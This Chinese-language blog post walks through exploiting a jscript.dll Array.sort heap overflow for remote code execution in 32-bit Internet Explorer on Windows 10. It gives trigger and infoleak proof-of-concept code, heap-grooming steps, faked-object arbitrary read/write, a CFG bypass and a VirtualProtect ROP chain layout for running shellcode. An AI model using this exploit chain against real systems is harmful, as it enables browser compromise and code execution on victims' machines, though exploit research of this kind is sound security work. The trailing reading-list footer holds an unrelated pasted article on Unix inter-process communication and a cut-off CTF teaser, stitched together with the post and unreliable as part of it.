利用 WPAD/PAC 和 JScript 在 Windows 10 中远程执行代码
Project Zero团队在google发表了一篇关于利用WPAD/PAC和JScript在本地网络中实现Windows10远程代码执行的博客,笔者根据博客复现了漏洞,现在把利用过程以及一些值得注意的地方拿出来和大家分享。
博客中介绍了此漏洞在WPAD服务中的利用过程,而本文主要针对此漏洞在IE浏览器中的利用。由于IE浏览器无论是在32位系统还是64位系统中,默认情况下始终是使用32位版本去访问页面,所以本文所有的利用过程都是针对32位IE。
漏洞介绍
在处理如下(1)处的调用时,如果Array.sort输入数组的长度大于Array.length/2,jscript.dll会逐个将数组arr中的元素转化为String。转化的第一步是分配作为存储转化后String变量的内存空间,而分配的大小由当前arr数组中存在的元素的个数决定。第二步从0到Array.length逐个数组转换元素。转换过程中如果元素存在,那么元素会被转化为String,并写入第一步分配的内存空间中。由于arr[0]的toString回调方法的存在,在转换arr[0]时,(2)标示位置的代码会被执行,(2)代码执行后arr数组中实际存在的元素个数会增加,而第一步分配的内存不会重新分配,于是之后的转换过程中便会导致堆溢出。
var vars = new Array(100); var arr = new Array(1000); for(var i=1;i<600;i++) arr[i] = i; var o = {toString:function() { for(var i=600;i<1000;i++) { arr[i] = 1337; ------------> (2) } }} function go() { arr[0] = o; Array.prototype.sort.call(arr); ---------> (1) } go();
漏洞利用
jscript Vars 和 Strings结构
开始利用前,了解jscript Vars 和 Strings 的内存布局是很有必要的。在32位系统中JScript VAR是16-byte的内存结构,内存布局如下所示,虽然最后4 byte一般不会用到,但是在VAR的拷贝赋值时会一起被拷贝。
偏移
大小
描述
0
2
对象类型,3代表int,5代表double,8代表string
8
4
对象数据,可能直接是数据或者是指向数据的指针
12
4
一般不会用到
Strings Var和上面描述一样,偏移为8的地方保存在指向BSTR数据结构的指针。BSTR结构保存在String的具体内容,在32位中,此数据结构描述如下:
偏移
大小
描述
0
2
不包含'\0'时Strings的长度
8
length + 2
以'\0'结尾的16位字符串
信息泄露
为了保证exp的稳定性,需要获得一个可被完全控制的内存地址。利用CVE-2017-11906可泄露出所需的内存地址。此漏洞poc如下:
var r= new RegExp(Array(100).join('()')); ''.search(r); alert(RegExp.lastParen);
这个信息泄露漏洞存在于RegExp.lastParen中,在调用任一RegExp.test、RegExp.exec或者String.search后,jscript!RegExpFncObj中会用数组保存group信息,这些信息实际上是匹配到的内容的开始位置和结束位置。由于用来保存group信息的数组大小固定为20*4(32位程序中),也就是一共有10组group信息,所以当匹配到的group数量大于10时,RegExp.lastParen过大的下标会导致取值时发生越界读操作。数组中保存的起始位置和结束位置能够提供更大的可读空间,所以可以通过控制数组中的值来控制越界读的范围。
观察jscript!RegExpFncObj可以发现,如果用31个空括号组成的RegExp去搜索,同时在搜索结束后设置RegExp.input为任意整数,那么RegExp.lastParen的起始值为0而结束值则为RegExp.input设置的整数。在32位程序中直接给RegExp.input赋值会导致起始位置的值为不可控的值,必须以var x = (int value);RegExp.input = x;此种方式赋值,才可保证起始位置的值为0。
LFH堆随机化分配内存机制会对获取相邻BSTR的指针造成影响,在利用此漏洞时应选用20000(0x4e20)作为Strings的长度。Strings在释放后heap头中会保存前后free掉的内存的指针,通过越界读操作可以读到此指针。再次分配同样大小的Strings后此指针 有极大的可能会再次被分配来存储BSTR结构,而通过控制再次分配的String内容便可以控制泄露的指针所指向的数据。信息泄露利用代码如下:
function infoleak() { var str = "aaaaaaaaaa"; while(str.length < 10000) str = str + str; for(var i=0; i<1000; i++) { strarr[i] = str.substr(0,10000); } for(var i=0; i<500; i++) { strarr[i*2] = 1; } CollectGarbage(); var x = 0x2738; var r= new RegExp(Array(32).join('()')); strarr[737].search(r); RegExp.input = x; var leak = RegExp.lastParen; if(leak.length != 0x2738) { return 0; } //检查是否是之前释放过的内存 if((leak.charCodeAt(0x2737) != 0x61) || (leak.charCodeAt(0x2736) != 0x61)) { return 0; } straddress = dwordFromStr(leak, 0x271c) + 4; if(!isAddress(straddress)) { return 0; } return 1; }
堆溢出
利用前需要先了解被溢出的结构,每一个Array中的元素都会在jscript!JsArrayStringHeapSort临时分配的内存中对应一个0x20的结构(32位程序),具体结构如下:
偏移
大小
描述
0
4
转化后的String Var的指针
4
4
当前元素在数组中的顺序
8
16
转化前的Var结构
24
8
根据转化前的Var的类型,为1或者0
实际利用中临时内存的布局如下,括号中的内容为当前元素在数组中的顺序。如果数组的元素为整型,那么结构偏移为16的地方就会如下中括号中的数据所示,被控制为整型的值。通过堆溢出可以覆盖相邻数据结构为可控数据。
12f1d160 a0 95 c0 04 (00 00 00 00) 80 00 00 00 00 00 00 00 12f1d170 20 2e b8 04 00 00 00 00 01 00 00 00 00 00 00 00 12f1d180 28 68 69 0a (01 00 00 00) 80 00 00 0b 70 4b 6b 0a 12f1d190 28 68 69 0a 20 ab 94 5d 01 00 00 00 00 00 00 00 12f1e260 48 a2 b8 04 (88 00 00 00) 03 00 00 0b 04 00 00 00 12f1e270 [41 41 41 41] 58 aa 6a 0a 00 00 00 00 00 00 00 00 12f1e280 08 a3 b8 04 (89 00 00 00) 03 00 00 0b 04 00 00 00 12f1e290 [41 41 41 41] 58 aa 6a 0a 00 00 00 00 f4 40 75 10
接下来便是寻找一个被覆写后能达到任意地址读写或者类似能力的数据结构,NameList中的hashtable便是一个很好的选择。每一个NameList JScript对象都会有一个hashtable来保存成员对象,在访问成员对象时,会先计算成员对象的hash,然后通过hash在hashtable中取得对应的指针来完成对指定成员对象的访问。在覆写hashtable后,可以通过成员函数的访问来伪造JScript对象。对于覆写时不能控制的指针,可以只访问可控成员对象的方式来避免程序崩溃。hashtable内存布局如下:
12f1f170 106b13a4 106b13dc 106b1414 00000000 12f1f180 00000000 107338dc 10733914 (1073394c) 12f1f190 (10733984) 107339bc 107339f4 10733a2c 12f1f1a0 10733a64 10733a9c 10733ad4 00000000 12f1f1b0 00000000 00000000 00000000 00000000 12f1f1c0 00000000 00000000 10733b0c 10733b44 12f1f1d0 10733b7c 10733bb4 10733bec 10733c24 12f1f1e0 10733c5c 10733c94 10733ccc 10733d04
(1073394c) 03 00 00 00 00 00 00 00-e8 00 00 00 00 00 00 00 1073395c 00 00 00 00 00 00 00 00-07 3c 00 00 06 00 00 00 1073396c 84 39 73 10 00 00 00 00-e9 00 00 00 00 00 00 00 1073397c 32 00 33 00 32 00 00 00-03 00 00 00 00 00 00 00 1073398c e9 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 1073399c 08 3c 00 00 06 00 00 00-bc 39 73 10 00 00 00 00 107339ac ea 00 00 00 00 00 00 00-32 00 33 00 33 00 00 00
由hashtable内存布局可知,相关数据如下图所示:
想要稳定的覆写hashtable结构,需要经过如下步骤:
1. 确保hashtable和被溢出的堆会被分配到同一个大小LFH桶中。在触发漏洞前不断分配和释放0x1000大小的内存来开启LFH针对0x1000大小的内存分配。分配大小之所以是0x1000,是因为在32位系统中,当对象的成员个数小于等于512时,hashtable的大小为0x200,当第513个成员被添加到对象中时,hashtabel会被重新分配至0x1000大小的内存。
2. 分配2000个JScript对象,每个对象包含512个成员。给前1000对象增加第513个成员,使得前1000个对象的hashtable变为0x1000。
3. 使用长度为250且拥有127个元素的数组作为Array.sort的输入数组,使得分配的内存大小为(127 + 1)*0x20 = 0x1000 bytes,根据LFH的分配算法,此内存会和hashtable分配在同一个LFH桶中。
4. 在toString回调中给余下的1000个对象增加第513个成员,并把数组的特定项设置为特定数值。
在泄露出内存地址的String对象中,构造虚假的JScript成员对象数据,并用对应的数据地址覆盖hashtable中的数值。通过对对象成员的读写来达到任意地址读写的目的。为了达到此目的需要构造5个假的JScript成员对象:
1. var1只包含数据0x1337,作为寻找被覆盖对象的标识。
2. var2的type为0x400c,表明这是个对象是指针,且偏移8的位置保存着指向实际对象的指针。设置偏移8的指针值设置为var1所在内存位置之前的12byte,使得var2的最后4byte和var1的前4byte重合。
3. var3、var4、var5都是整型,但是最后4byte分别为3、8、0x400c。
被覆盖后的对象hashtable如下图所示:
通过查看对象的指定成员是否为0x1337,可以找到被覆盖hashtable的对象,这里称为craftobj,基于上述的内存布局,可以通过craftobj[index2] = craftobj[index4];使得var1的type被覆盖为String,同样可以用var3、var5覆盖var2的手法使得var1的类型变为整型或者指针。
如果想要读任何数据,只需要先设置var1为想读的地址,然后把var1改为String类型便可。如果想要写任何数据,只需要把想入的数据地址写入var1中,然后改变var1的类型为对象指针,然后写入数据便可。
绕过cfg
由于cfg并不保护栈上的返回地址,而且Jscript的一些对象中包含当前的栈地址,所以在返回地址处构造ROP链可以绕过cfg。
JScript中,所有的JavaScript对象都继承于NameTbl对象,而在32位程序中每一个NameTbl对象偏移为12的地方保存着指向CSession的指针,而CSession的偏移为44的地方保存着指向栈上的指针。通过任意地址读写,可以在函数的返回地址上构造ROP链绕过cfg。
代码执行
漏洞利用步骤如下:
1.通过JScript对象的虚表地址获取JScript的基地址
2.通过JScript的导入表获取kernel32的基地址
3. 扫描kernel32获取需要的rop gadgets
4.通过kernel32的导出表获取VirtualProtect的地址
5.获取栈返回地址
6. 通过任意地址读写构造ROP在返回地址处构造rop链
ROP链布局如下所示:
[address of POP ECX,RET 8] [...] [...] [address of VirtualProtect] [...] [...] [address of shellcode] [address of shellcode] [1000] [40] [address of shellcode + 60]
由于栈空间中存在关键性数据,一旦改变可能在函数没有返回前产生崩溃,所以在修改栈空间时需要避免修改这些数据,上面的ROP链中[...]所代表的便是这些数据。 成功触发exp效果如下:
总结
谷歌博客中对在64位系统中的wpad服务下利用此漏洞做了详细的描述,64位系统下的利用除了JScript对象关键数据位置偏移不一样外,函数的参数传递过程也不一样,在构造ROP时需要注意把原本应该在栈上的参数通过ROP转移到RCX、RDX、R8、R9等寄存器中。同时由于wpad服务和IE中系统分配内存的方式不一样,IE的JScript对象分配在NT heap中,而wpad服务分配在segment heap中,所以堆溢出发生后,被覆盖的hashtable的位置也是不一样的,需要重新计算被覆盖成员在对象中的偏移。如果需要了解利用的具体过程,请参看 aPAColypse now: Exploiting...。
推荐阅读
-
使用 WPAD/PAC 和 JScript 在 win11 中远程执行代码
-
使用 WPAD/PAC 和 JScript 在 win11 中远程执行代码1
-
利用 WPAD/PAC 和 JScript 在 Windows 10 中远程执行代码
-
使用 WPAD/PAC 和 JScript3 在 win11 中远程执行代码
-
windows下进程间通信的(13种方法)-摘 要 本文讨论了进程间通信与应用程序间通信的含义及相应的实现技术,并对这些技术的原理、特性等进行了深入的分析和比较。 ---- 关键词 信号 管道 消息队列 共享存储段 信号灯 远程过程调用 Socket套接字 MQSeries 1 引言 ---- 进程间通信的主要目的是实现同一计算机系统内部的相互协作的进程之间的数据共享与信息交换,由于这些进程处于同一软件和硬件环境下,利用操作系统提供的的编程接口,用户可以方便地在程序中实现这种通信;应用程序间通信的主要目的是实现不同计算机系统中的相互协作的应用程序之间的数据共享与信息交换,由于应用程序分别运行在不同计算机系统中,它们之间要通过网络之间的协议才能实现数据共享与信息交换。进程间通信和应用程序间通信及相应的实现技术有许多相同之处,也各有自己的特色。即使是同一类型的通信也有多种的实现方法,以适应不同情况的需要。 ---- 为了充分认识和掌握这两种通信及相应的实现技术,本文将就以下几个方面对这两种通信进行深入的讨论:问题的由来、解决问题的策略和方法、每种方法的工作原理和实现、每种实现方法的特点和适用的范围等。 2 进程间的通信及其实现技术 ---- 用户提交给计算机的任务最终都是通过一个个的进程来完成的。在一组并发进程中的任何两个进程之间,如果都不存在公共变量,则称该组进程为不相交的。在不相交的进程组中,每个进程都独立于其它进程,它的运行环境与顺序程序一样,而且它的运行环境也不为别的进程所改变。运行的结果是确定的,不会发生与时间相关的错误。 ---- 但是,在实际中,并发进程的各个进程之间并不是完全互相独立的,它们之间往往存在着相互制约的关系。进程之间的相互制约关系表现为两种方式: ---- (1) 间接相互制约:共享CPU ---- (2) 直接相互制约:竞争和协作 ---- 竞争——进程对共享资源的竞争。为保证进程互斥地访问共享资源,各进程必须互斥地进入各自的临界段。 ---- 协作——进程之间交换数据。为完成一个共同任务而同时运行的一组进程称为同组进程,它们之间必须交换数据,以达到协作完成任务的目的,交换数据可以通知对方可以做某事或者委托对方做某事。 ---- 共享CPU问题由操作系统的进程调度来实现,进程间的竞争和协作由进程间的通信来完成。进程间的通信一般由操作系统提供编程接口,由程序员在程序中实现。UNIX在这个方面可以说最具特色,它提供了一整套进程间的数据共享与信息交换的处理方法——进程通信机制(IPC)。因此,我们就以UNIX为例来分析进程间通信的各种实现技术。 ---- 在UNIX中,文件(File)、信号(Signal)、无名管道(Unnamed Pipes)、有名管道(FIFOs)是传统IPC功能;新的IPC功能包括消息队列(Message queues)、共享存储段(Shared memory segment)和信号灯(Semapores)。 ---- (1) 信号 ---- 信号机制是UNIX为进程中断处理而设置的。它只是一组预定义的值,因此不能用于信息交换,仅用于进程中断控制。例如在发生浮点错、非法内存访问、执行无效指令、某些按键(如ctrl-c、del等)等都会产生一个信号,操作系统就会调用有关的系统调用或用户定义的处理过程来处理。 ---- 信号处理的系统调用是signal,调用形式是: ---- signal(signalno,action) ---- 其中,signalno是规定信号编号的值,action指明当特定的信号发生时所执行的动作。 ---- (2) 无名管道和有名管道 ---- 无名管道实际上是内存中的一个临时存储区,它由系统安全控制,并且独立于创建它的进程的内存区。管道对数据采用先进先出方式管理,并严格按顺序操作,例如不能对管道进行搜索,管道中的信息只能读一次。 ---- 无名管道只能用于两个相互协作的进程之间的通信,并且访问无名管道的进程必须有共同的祖先。 ---- 系统提供了许多标准管道库函数,如: pipe——打开一个可以读写的管道; close——关闭相应的管道; read——从管道中读取字符; write——向管道中写入字符; ---- 有名管道的操作和无名管道类似,不同的地方在于使用有名管道的进程不需要具有共同的祖先,其它进程,只要知道该管道的名字,就可以访问它。管道非常适合进程之间快速交换信息。 ---- (3) 消息队列(MQ) ---- 消息队列是内存中独立于生成它的进程的一段存储区,一旦创建消息队列,任何进程,只要具有正确的的访问权限,都可以访问消息队列,消息队列非常适合于在进程间交换短信息。 ---- 消息队列的每条消息由类型编号来分类,这样接收进程可以选择读取特定的消息类型——这一点与管道不同。消息队列在创建后将一直存在,直到使用msgctl系统调用或iqcrm -q命令删除它为止。 ---- 系统提供了许多有关创建、使用和管理消息队列的系统调用,如: ---- int msgget(key,flag)——创建一个具有flag权限的MQ及其相应的结构,并返回一个唯一的正整数msqid(MQ的标识符); ---- int msgsnd(msqid,msgp,msgsz,msgtyp,flag)——向队列中发送信息; ---- int msgrcv(msqid,cmd,buf)——从队列中接收信息; ---- int msgctl(msqid,cmd,buf)——对MQ的控制操作; ---- (4) 共享存储段(SM) ---- 共享存储段是主存的一部分,它由一个或多个独立的进程共享。各进程的数据段与共享存储段相关联,对每个进程来说,共享存储段有不同的虚拟地址。系统提供的有关SM的系统调用有: ---- int shmget(key,size,flag)——创建大小为size的SM段,其相应的数据结构名为key,并返回共享内存区的标识符shmid; ---- char shmat(shmid,address,flag)——将当前进程数据段的地址赋给shmget所返回的名为shmid的SM段; ---- int shmdr(address)——从进程地址空间删除SM段; ---- int shmctl (shmid,cmd,buf)——对SM的控制操作; ---- SM的大小只受主存限制,SM段的访问及进程间的信息交换可以通过同步读写来完成。同步通常由信号灯来实现。SM非常适合进程之间大量数据的共享。 ---- (5) 信号灯 ---- 在UNIX中,信号灯是一组进程共享的数据结构,当几个进程竞争同一资源时(文件、共享内存或消息队列等),它们的操作便由信号灯来同步,以防止互相干扰。 ---- 信号灯保证了某一时刻只有一个进程访问某一临界资源,所有请求该资源的其它进程都将被挂起,一旦该资源得到释放,系统才允许其它进程访问该资源。信号灯通常配对使用,以便实现资源的加锁和解锁。 ---- 进程间通信的实现技术的特点是:操作系统提供实现机制和编程接口,由用户在程序中实现,保证进程间可以进行快速的信息交换和大量数据的共享。但是,上述方式主要适合在同一台计算机系统内部的进程之间的通信。 3 应用程序间的通信及其实现技术 ---- 同进程之间的相互制约一样,不同的应用程序之间也存在竞争和协作的关系。UNIX操作系统也提供一些可用于应用程序之间实现数据共享与信息交换的编程接口,程序员可以通过自己编程来实现。如远程过程调用和基于TCP/IP协议的套接字(Socket)编程。但是,相对普通程序员来说,它们涉及的技术比较深,编程也比较复杂,实现起来困难较大。 ---- 于是,一种新的技术应运而生——通过将有关通信的细节完全掩盖在某个独立软件内部,即底层的通讯工作和相应的维护管理工作由该软件内部来实现,用户只需要将通信任务提交给该软件去完成,而不必理会它的具体工作过程——这就是所谓的中间件技术。 ---- 我们在这里分别讨论这三种常用的应用程序间通信的实现技术——远程过程调用、会话编程技术和MQSeries消息队列技术。其中远程过程调用和会话编程属于比较低级的方式,程序员参与的程度较深,而MQSeries消息队列则属于比较高级的方式,即中间件方式,程序员参与的程度较浅。 ---- 4.1 远程过程调用(RPC)
-
南邮OJ Web任务大揭秘:层层挑战剖析 1. 挑战一:迷宫般的目录探索 题目作者似乎穷举了所有可能的目录组合,最终在404.php中的